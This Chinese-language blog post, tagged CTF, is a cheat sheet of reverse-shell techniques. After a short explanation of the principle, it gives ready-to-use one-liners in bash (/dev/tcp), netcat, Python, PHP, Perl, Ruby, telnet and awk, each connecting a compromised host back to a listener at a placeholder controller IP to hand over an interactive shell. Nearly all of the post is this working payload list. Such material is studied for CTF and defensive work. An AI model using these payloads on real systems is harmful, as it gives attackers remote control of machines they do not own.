侧边栏壁纸
  • 累计撰写 19 篇文章
  • 累计收到 4 条评论
CTF

反弹SHELL的各种利用姿势

eson
2024-03-30 / 0 评论 / 224 阅读 / 正在检测是否收录...

反弹SHELL的原理

远程系统(通常是我们自己的监听机,具备独立外网IP地址,或者是被控机可以直接访问的机器)监听一个TCP/UDP端口,本地系统(被控机)运行反弹shell,反弹shell会连接该端口,并接收远程系统发送的shell指令,执行之后再将指令的输出流转发给远程系统。

bash反弹SHELL

监听机通过netcat监听一个端口,例如我们这里监听7777端口

nc -lvp 7777

被控机通过bash连接监听机的端口

bash -i 1> /dev/tcp/控制端ip/7777 0>&1 2>&1 



NC反弹SHELL

监听机监听一个端口

nc -lvp 7777

被控机通过netcat连接监听机

被控端:nc 控制端ip 控制端端口 -e /bin/bash 2>&1>/dev/null &

但是这里有一个问题,原生apt安装的netcat是不能添加-e参数的,需要我们自己上传二进制,我们可以利用下面的方法解决这个问题。

监听机开两个监听,分别监听6666 和 7777 端口

nc -lvp 6666
nc -lvp 7777

被控端

nc 控制端ip 6666 | /bin/bash | nc 控制端ip 7777



python反弹SHELL

控制端:nc -lvvp 端口
被控端:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("控制端ip",控制端端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
  • 优点:在安装了python上的linux都可以使用,原理还是将标准输入、标准输出、标准错误输出重定向到远程。使用bash交互模式启动。
  • 缺点:在路由器系统中不存在bash或者阉割了python库,存在符号>、&、'、"在反序列化中或者对符号转义的情况下就没有办法反弹了。单双引号也会导致闭合问题。



PHP反弹SHELL

控制端:nc -lvvp 端口
被控端:php -r '$sock=fsockopen("控制端ip",控制端端口);exec("/bin/bash -i <&3 >&3 2>&3");'



perl反弹SHELL

控制端:nc -lvvp 端口
被控端:perl -e 'use Socket;$i="控制端ip";$p=控制端端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'



ruby反弹SHELL

控制端:nc -lvvp 端口
被控端:ruby -r socket -e 'exit if fork;c=TCPSocket.new("控制端ip","控制端端口");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'



telnet反弹SHELL

控制端:nc -lvvp 端口
被控端:mknod backpipe p && telnet 控制端ip 控制端端口 0<backpipe | /bin/bash 1>backpipe



awk反弹SHELL

控制端:nc -lvvp 端口
被控端:awk 'BEGIN{s="/inet/tcp/0/控制端ip/控制端端口";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!="exit");close(s)}}'
1

评论 (0)

取消